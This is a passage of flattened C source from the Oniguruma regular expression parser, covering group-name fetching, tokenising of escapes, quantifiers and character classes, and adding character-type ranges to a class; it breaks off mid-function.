*src = p; return 0; } else { while (!PEND) { name_end = p; PFETCH_S(c); if (c == end_code || c == ')') break; } if (PEND) name_end = end; err: onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #else static int fetch_name(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int ref) { int r, is_num, sign; OnigCodePoint end_code; OnigCodePoint c = 0; UChar *name_end; OnigEncoding enc = env->enc; UChar *pnum_head; UChar *p = *src; PFETCH_READY; *rback_num = 0; end_code = get_name_end_code_point(start_code); *rname_end = name_end = end; r = 0; pnum_head = *src; is_num = 0; sign = 1; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else if (c == '-') { is_num = 2; sign = -1; pnum_head = p; } else { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } while (!PEND) { name_end = p; PFETCH(c); if (c == end_code || c == ')') break; if (! ONIGENC_IS_CODE_DIGIT(enc, c)) r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } if (r == 0 && c != end_code) { r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } if (r == 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) { r = ONIGERR_INVALID_GROUP_NAME; goto err; } *rback_num *= sign; *rname_end = name_end; *src = p; return 0; } else { err: onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #endif /* USE_NAMED_GROUP */ static void CC_ESC_WARN(ScanEnv* env, UChar *c) { if (onig_warn == onig_null_warn) return ; if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_WARN_CC_OP_NOT_ESCAPED) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC)) { UChar buf[WARN_BUFSIZE]; onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"character class has '%s' without escape", c); (*onig_warn)((char* )buf); } } static void CLOSE_BRACKET_WITHOUT_ESC_WARN(ScanEnv* env, UChar* c) { if (onig_warn == onig_null_warn) return ; if (IS_SYNTAX_BV((env)->syntax, ONIG_SYN_WARN_CC_OP_NOT_ESCAPED)) { UChar buf[WARN_BUFSIZE]; onig_snprintf_with_pattern(buf, WARN_BUFSIZE, (env)->enc, (env)->pattern, (env)->pattern_end, (UChar* )"regular expression has '%s' without escape", c); (*onig_warn)((char* )buf); } } static UChar* find_str_position(OnigCodePoint s[], int n, UChar* from, UChar* to, UChar **next, OnigEncoding enc) { int i; OnigCodePoint x; UChar *q; UChar *p = from; while (p < to) { x = ONIGENC_MBC_TO_CODE(enc, p, to); q = p + enclen(enc, p); if (x == s[0]) { for (i = 1; i < n && q < to; i++) { x = ONIGENC_MBC_TO_CODE(enc, q, to); if (x != s[i]) break; q += enclen(enc, q); } if (i >= n) { if (IS_NOT_NULL(next)) *next = q; return p; } } p = q; } return NULL_UCHARP; } static int str_exist_check_with_esc(OnigCodePoint s[], int n, UChar* from, UChar* to, OnigCodePoint bad, OnigEncoding enc, OnigSyntaxType* syn) { int i, in_esc; OnigCodePoint x; UChar *q; UChar *p = from; in_esc = 0; while (p < to) { if (in_esc) { in_esc = 0; p += enclen(enc, p); } else { x = ONIGENC_MBC_TO_CODE(enc, p, to); q = p + enclen(enc, p); if (x == s[0]) { for (i = 1; i < n && q < to; i++) { x = ONIGENC_MBC_TO_CODE(enc, q, to); if (x != s[i]) break; q += enclen(enc, q); } if (i >= n) return 1; p += enclen(enc, p); } else { x = ONIGENC_MBC_TO_CODE(enc, p, to); if (x == bad) return 0; else if (x == MC_ESC(syn)) in_esc = 1; p = q; } } } return 0; } static int fetch_token_in_cc(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int num; OnigCodePoint c, c2; OnigSyntaxType* syn = env->syntax; OnigEncoding enc = env->enc; UChar* prev; UChar* p = *src; PFETCH_READY; if (PEND) { tok->type = TK_EOT; return tok->type; } PFETCH(c); tok->type = TK_CHAR; tok->base = 0; tok->u.c = c; tok->escaped = 0; if (c == ']') { tok->type = TK_CC_CLOSE; } else if (c == '-') { tok->type = TK_CC_RANGE; } else if (c == MC_ESC(syn)) { if (! IS_SYNTAX_BV(syn, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC)) goto end; if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; PFETCH(c); tok->escaped = 1; tok->u.c = c; switch (c) { case 'w': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 0; break; case 'W': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 1; break; case 'd': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 0; break; case 'D': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 1; break; case 's': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 0; break; case 'S': tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 1; break; case 'h': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 0; break; case 'H': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 1; break; case 'p': case 'P': if (PEND) break; c2 = PPEEK; if (c2 == '{' && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) { PINC; tok->type = TK_CHAR_PROPERTY; tok->u.prop.not = (c == 'P' ? 1 : 0); if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) { PFETCH(c2); if (c2 == '^') { tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0); } else PUNFETCH; } } break; case 'o': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_O_BRACE_OCTAL)) { PINC; num = scan_unsigned_octal_number(&p, end, 11, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { c2 = PPEEK; if (ONIGENC_IS_CODE_DIGIT(enc, c2)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if (p > prev + enclen(enc, prev) && !PEND && (PPEEK_IS('}'))) { PINC; tok->type = TK_CODE_POINT; tok->base = 8; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } break; case 'x': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) { PINC; num = scan_unsigned_hexadecimal_number(&p, end, 8, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { c2 = PPEEK; if (ONIGENC_IS_CODE_XDIGIT(enc, c2)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if (p > prev + enclen(enc, prev) && !PEND && (PPEEK_IS('}'))) { PINC; tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) { num = scan_unsigned_hexadecimal_number(&p, end, 2, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 16; tok->u.c = num; } break; case 'u': if (PEND) break; prev = p; if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) { num = scan_unsigned_hexadecimal_number(&p, end, 4, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) { PUNFETCH; prev = p; num = scan_unsigned_octal_number(&p, end, 3, enc); if (num < 0 || num >= 256) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 8; tok->u.c = num; } break; default: PUNFETCH; num = fetch_escaped_value(&p, end, env, &c2); if (num < 0) return num; if (tok->u.c != c2) { tok->u.code = c2; tok->type = TK_CODE_POINT; } break; } } else if (c == '[') { if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_POSIX_BRACKET) && (PPEEK_IS(':'))) { OnigCodePoint send[] = { (OnigCodePoint )':', (OnigCodePoint )']' }; tok->backp = p; /* point at '[' is read */ PINC; if (str_exist_check_with_esc(send, 2, p, end, (OnigCodePoint )']', enc, syn)) { tok->type = TK_POSIX_BRACKET_OPEN; } else { PUNFETCH; goto cc_in_cc; } } else { cc_in_cc: if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP)) { tok->type = TK_CC_CC_OPEN; } else { CC_ESC_WARN(env, (UChar* )"["); } } } else if (c == '&') { if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP) && !PEND && (PPEEK_IS('&'))) { PINC; tok->type = TK_CC_AND; } } end: *src = p; return tok->type; } static int fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, num; OnigCodePoint c; OnigEncoding enc = env->enc; OnigSyntaxType* syn = env->syntax; UChar* prev; UChar* p = *src; PFETCH_READY; start: if (PEND) { tok->type = TK_EOT; return tok->type; } tok->type = TK_STRING; tok->base = 0; tok->backp = p; PFETCH(c); if (IS_MC_ESC_CODE(c, syn)) { if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; tok->backp = p; PFETCH(c); tok->u.c = c; tok->escaped = 1; switch (c) { case '*': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_ASTERISK_ZERO_INF)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '+': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_PLUS_ONE_INF)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 1; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '?': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_QMARK_ZERO_ONE)) break; tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = 1; greedy_check: if (!PEND && PPEEK_IS('?') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_NON_GREEDY)) { PFETCH(c); tok->u.repeat.greedy = 0; tok->u.repeat.possessive = 0; } else { possessive_check: if (!PEND && PPEEK_IS('+') && ((IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT) && tok->type != TK_INTERVAL) || (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_PLUS_POSSESSIVE_INTERVAL) && tok->type == TK_INTERVAL))) { PFETCH(c); tok->u.repeat.greedy = 1; tok->u.repeat.possessive = 1; } else { tok->u.repeat.greedy = 1; tok->u.repeat.possessive = 0; } } break; case '{': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) break; r = fetch_range_quantifier(&p, end, tok, env); if (r < 0) return r; /* error */ if (r == 0) goto greedy_check; else if (r == 2) { /* {n} */ if (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY)) goto possessive_check; goto greedy_check; } /* r == 1 : normal char */ break; case '|': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_VBAR_ALT)) break; tok->type = TK_ALT; break; case '(': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_OPEN; break; case ')': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_CLOSE; break; case 'w': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 0; break; case 'W': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_W_WORD)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_WORD; tok->u.prop.not = 1; break; case 'b': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_BOUND; break; case 'B': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_B_WORD_BOUND)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_NOT_WORD_BOUND; break; #ifdef USE_WORD_BEGIN_END case '<': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_BEGIN; break; case '>': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END)) break; tok->type = TK_ANCHOR; tok->u.anchor = ANCHOR_WORD_END; break; #endif case 's': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 0; break; case 'S': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_S_WHITE_SPACE)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_SPACE; tok->u.prop.not = 1; break; case 'd': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 0; break; case 'D': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_D_DIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT; tok->u.prop.not = 1; break; case 'h': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 0; break; case 'H': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break; tok->type = TK_CHAR_TYPE; tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT; tok->u.prop.not = 1; break; case 'A': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; begin_buf: tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_BEGIN_BUF; break; case 'Z': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_SEMI_END_BUF; break; case 'z': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_AZ_BUF_ANCHOR)) break; end_buf: tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_END_BUF; break; case 'G': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_CAPITAL_G_BEGIN_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = ANCHOR_BEGIN_POSITION; break; case '`': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break; goto begin_buf; break; case '\'': if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_GNU_BUF_ANCHOR)) break; goto end_buf; break; case 'o': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_O_BRACE_OCTAL)) { PINC; num = scan_unsigned_octal_number(&p, end, 11, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { if (ONIGENC_IS_CODE_DIGIT(enc, PPEEK)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if ((p > prev + enclen(enc, prev)) && !PEND && PPEEK_IS('}')) { PINC; tok->type = TK_CODE_POINT; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } break; case 'x': if (PEND) break; prev = p; if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) { PINC; num = scan_unsigned_hexadecimal_number(&p, end, 8, enc); if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE; if (!PEND) { if (ONIGENC_IS_CODE_XDIGIT(enc, PPEEK)) return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE; } if ((p > prev + enclen(enc, prev)) && !PEND && PPEEK_IS('}')) { PINC; tok->type = TK_CODE_POINT; tok->u.code = (OnigCodePoint )num; } else { /* can't read nothing or invalid format */ p = prev; } } else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) { num = scan_unsigned_hexadecimal_number(&p, end, 2, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 16; tok->u.c = num; } break; case 'u': if (PEND) break; prev = p; if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) { num = scan_unsigned_hexadecimal_number(&p, end, 4, enc); if (num < 0) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_CODE_POINT; tok->base = 16; tok->u.code = (OnigCodePoint )num; } break; case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': PUNFETCH; prev = p; num = onig_scan_unsigned_number(&p, end, enc); if (num < 0 || num > ONIG_MAX_BACKREF_NUM) { goto skip_backref; } if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_DECIMAL_BACKREF) && (num <= env->num_mem || num <= 9)) { /* This spec. from GNU regex */ if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { if (num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[num])) return ONIGERR_INVALID_BACKREF; } tok->type = TK_BACKREF; tok->u.backref.num = 1; tok->u.backref.ref1 = num; tok->u.backref.by_name = 0; #ifdef USE_BACKREF_WITH_LEVEL tok->u.backref.exist_level = 0; #endif break; } skip_backref: if (c == '8' || c == '9') { /* normal char */ p = prev; PINC; break; } p = prev; /* fall through */ case '0': if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) { prev = p; num = scan_unsigned_octal_number(&p, end, (c == '0' ? 2:3), enc); if (num < 0 || num >= 256) return ONIGERR_TOO_BIG_NUMBER; if (p == prev) { /* can't read nothing. */ num = 0; /* but, it's not error */ } tok->type = TK_RAW_BYTE; tok->base = 8; tok->u.c = num; } else if (c != '0') { PINC; } break; #ifdef USE_NAMED_GROUP case 'k': if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_K_NAMED_BACKREF)) { PFETCH(c); if (c == '<' || c == '\'') { UChar* name_end; int* backs; int back_num; prev = p; #ifdef USE_BACKREF_WITH_LEVEL name_end = NULL_UCHARP; /* no need. escape gcc warning. */ r = fetch_name_with_level((OnigCodePoint )c, &p, end, &name_end, env, &back_num, &tok->u.backref.level); if (r == 1) tok->u.backref.exist_level = 1; else tok->u.backref.exist_level = 0; #else r = fetch_name(&p, end, &name_end, env, &back_num, 1); #endif if (r < 0) return r; if (back_num != 0) { if (back_num < 0) { back_num = BACKREF_REL_TO_ABS(back_num, env); if (back_num <= 0) return ONIGERR_INVALID_BACKREF; } if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { if (back_num > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[back_num])) return ONIGERR_INVALID_BACKREF; } tok->type = TK_BACKREF; tok->u.backref.by_name = 0; tok->u.backref.num = 1; tok->u.backref.ref1 = back_num; } else { num = onig_name_to_group_numbers(env->reg, prev, name_end, &backs); if (num <= 0) { onig_scan_env_set_error_string(env, ONIGERR_UNDEFINED_NAME_REFERENCE, prev, name_end); return ONIGERR_UNDEFINED_NAME_REFERENCE; } if (IS_SYNTAX_BV(syn, ONIG_SYN_STRICT_CHECK_BACKREF)) { int i; for (i = 0; i < num; i++) { if (backs[i] > env->num_mem || IS_NULL(SCANENV_MEM_NODES(env)[backs[i]])) return ONIGERR_INVALID_BACKREF; } } tok->type = TK_BACKREF; tok->u.backref.by_name = 1; if (num == 1) { tok->u.backref.num = 1; tok->u.backref.ref1 = backs[0]; } else { tok->u.backref.num = num; tok->u.backref.refs = backs; } } } else PUNFETCH; } break; #endif #ifdef USE_SUBEXP_CALL case 'g': if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_G_SUBEXP_CALL)) { PFETCH(c); if (c == '<' || c == '\'') { int gnum; UChar* name_end; prev = p; r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &gnum, 1); if (r < 0) return r; tok->type = TK_CALL; tok->u.call.name = prev; tok->u.call.name_end = name_end; tok->u.call.gnum = gnum; } else PUNFETCH; } break; #endif case 'Q': if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_CAPITAL_Q_QUOTE)) { tok->type = TK_QUOTE_OPEN; } break; case 'p': case 'P': if (!PEND && PPEEK_IS('{') && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) { PINC; tok->type = TK_CHAR_PROPERTY; tok->u.prop.not = (c == 'P' ? 1 : 0); if (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) { PFETCH(c); if (c == '^') { tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0); } else PUNFETCH; } } break; default: { OnigCodePoint c2; PUNFETCH; num = fetch_escaped_value(&p, end, env, &c2); if (num < 0) return num; /* set_raw: */ if (tok->u.c != c2) { tok->type = TK_CODE_POINT; tok->u.code = c2; } else { /* string */ p = tok->backp + enclen(enc, tok->backp); } } break; } } else { tok->u.c = c; tok->escaped = 0; #ifdef USE_VARIABLE_META_CHARS if ((c != ONIG_INEFFECTIVE_META_CHAR) && IS_SYNTAX_OP(syn, ONIG_SYN_OP_VARIABLE_META_CHARACTERS)) { if (c == MC_ANYCHAR(syn)) goto any_char; else if (c == MC_ANYTIME(syn)) goto anytime; else if (c == MC_ZERO_OR_ONE_TIME(syn)) goto zero_or_one_time; else if (c == MC_ONE_OR_MORE_TIME(syn)) goto one_or_more_time; else if (c == MC_ANYCHAR_ANYTIME(syn)) { tok->type = TK_ANYCHAR_ANYTIME; goto out; } } #endif switch (c) { case '.': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_DOT_ANYCHAR)) break; #ifdef USE_VARIABLE_META_CHARS any_char: #endif tok->type = TK_ANYCHAR; break; case '*': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_ASTERISK_ZERO_INF)) break; #ifdef USE_VARIABLE_META_CHARS anytime: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '+': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_PLUS_ONE_INF)) break; #ifdef USE_VARIABLE_META_CHARS one_or_more_time: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 1; tok->u.repeat.upper = REPEAT_INFINITE; goto greedy_check; break; case '?': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_QMARK_ZERO_ONE)) break; #ifdef USE_VARIABLE_META_CHARS zero_or_one_time: #endif tok->type = TK_OP_REPEAT; tok->u.repeat.lower = 0; tok->u.repeat.upper = 1; goto greedy_check; break; case '{': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACE_INTERVAL)) break; r = fetch_range_quantifier(&p, end, tok, env); if (r < 0) return r; /* error */ if (r == 0) goto greedy_check; else if (r == 2) { /* {n} */ if (IS_SYNTAX_BV(syn, ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY)) goto possessive_check; goto greedy_check; } /* r == 1 : normal char */ break; case '|': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_VBAR_ALT)) break; tok->type = TK_ALT; break; case '(': if (!PEND && PPEEK_IS('?') && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) { PINC; if (!PEND && PPEEK_IS('#')) { PFETCH(c); while (1) { if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); if (c == MC_ESC(syn)) { if (!PEND) PFETCH(c); } else { if (c == ')') break; } } goto start; } PUNFETCH; } if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_OPEN; break; case ')': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LPAREN_SUBEXP)) break; tok->type = TK_SUBEXP_CLOSE; break; case '^': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = (IS_SINGLELINE(env->option) ? ANCHOR_BEGIN_BUF : ANCHOR_BEGIN_LINE); break; case '$': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_LINE_ANCHOR)) break; tok->type = TK_ANCHOR; tok->u.subtype = (IS_SINGLELINE(env->option) ? ANCHOR_SEMI_END_BUF : ANCHOR_END_LINE); break; case '[': if (! IS_SYNTAX_OP(syn, ONIG_SYN_OP_BRACKET_CC)) break; tok->type = TK_CC_OPEN; break; case ']': if (*src > env->pattern) /* /].../ is allowed. */ CLOSE_BRACKET_WITHOUT_ESC_WARN(env, (UChar* )"]"); break; case '#': if (IS_EXTEND(env->option)) { while (!PEND) { PFETCH(c); if (ONIGENC_IS_CODE_NEWLINE(enc, c)) break; } goto start; break; } break; case ' ': case '\t': case '\n': case '\r': case '\f': if (IS_EXTEND(env->option)) goto start; break; default: /* string */ break; } } #ifdef USE_VARIABLE_META_CHARS out: #endif *src = p; return tok->type; } static int add_ctype_to_cc_by_range(CClassNode* cc, int ctype ARG_UNUSED, int not, OnigEncoding enc ARG_UNUSED, OnigCodePoint sb_out, const OnigCodePoint mbr[]) { int i, r; OnigCodePoint j; int n = ONIGENC_CODE_RANGE_NUM(mbr); if (not == 0) { for (i = 0; i < n; i++) { for (j = ONIGENC_CODE_RANGE_FROM(mbr, i); j <= ONIGENC_CODE_RANGE_TO(mbr, i); j++) { if (j >= sb_out) { if (j > ONIGENC_CODE_RANGE_FROM(mbr, i)) { r = add_code_range_to_buf(&(cc->mbuf), j, ONIGENC_CODE_RANGE_TO(mbr, i)); if (r != 0) return r; i++; } goto sb_end; } BITSET_SET_BIT(cc->bs, j); } } sb_end: for ( ; i < n; i++) { r = add_code_range_to_buf(&(cc->mbuf), ONIGENC_CODE_RANGE_FROM(mbr, i), ONIGENC_CODE_RANGE_TO(mbr, i)); if (r != 0) return r; } } else { OnigCodePoint prev = 0; for (i = 0; i < n; i++) { for (j = prev; j < ONIGENC_CODE_RANGE_FROM(mbr, i); j++) { if (j >= sb_out) { goto sb_end2; } BITSET_SET_BIT(cc->bs, j); } prev = ONIGENC_CODE_RANGE_TO(mbr, i) + 1; } for (j = prev; j < sb_out; j++) { BITSET_SET_BIT(cc->bs, j); } sb_end2: prev = sb_out; for (i = 0; i < n; i++) { if (prev < ONIGENC_CODE_RANGE_FROM(mbr, i)) { r = add_code_range_to_buf(&(cc->mbuf), prev, ONIGENC_CODE_RANGE_FROM(mbr, i) - 1); if (r != 0) return r; } prev = ONIGENC_CODE_RANGE_TO(mbr, i) + 1; } if (prev < 0x7fffffff) { r = add_code_range_to_buf(&(cc->mbuf), prev, 0x7fffffff); if (r != 0) return r; } } return 0; } static int add_ctype_to_cc(CClassNode* cc, int ctype, int not, ScanEnv* env) { int c, r; const OnigCodePoint *ranges; OnigCodePoint sb_out; OnigEncoding enc = env->enc; r = ONIGENC_GET_CTYPE_CODE_RANGE(enc, ctype, &sb_out, &ranges); if (r == 0) { return add_ctype_to_cc_by_range(cc, ctype, not, env->enc, sb_out, ranges); } else if (r != ONIG_NO_SUPPORT_CONFIG) { return r; } r = 0; switch (ctype) { case ONIGENC_CTYPE_ALPHA: case ONIGENC_CTYPE_BLANK: case ONIGENC_CTYPE_CNTRL: case ONIGENC_CTYPE_DIGIT: case ONIGENC_CTYPE_LOWER: case ONIGENC_CTYPE_PUNCT: case ONIGENC_CTYPE_SPACE: case ONIGENC_CTYPE_UPPER: case ONIGENC_CTYPE_XDIGIT: case ONIGENC_CTYPE_ASCII: case ONIGENC_CTYPE_ALNUM: if (not != 0) { for (c = 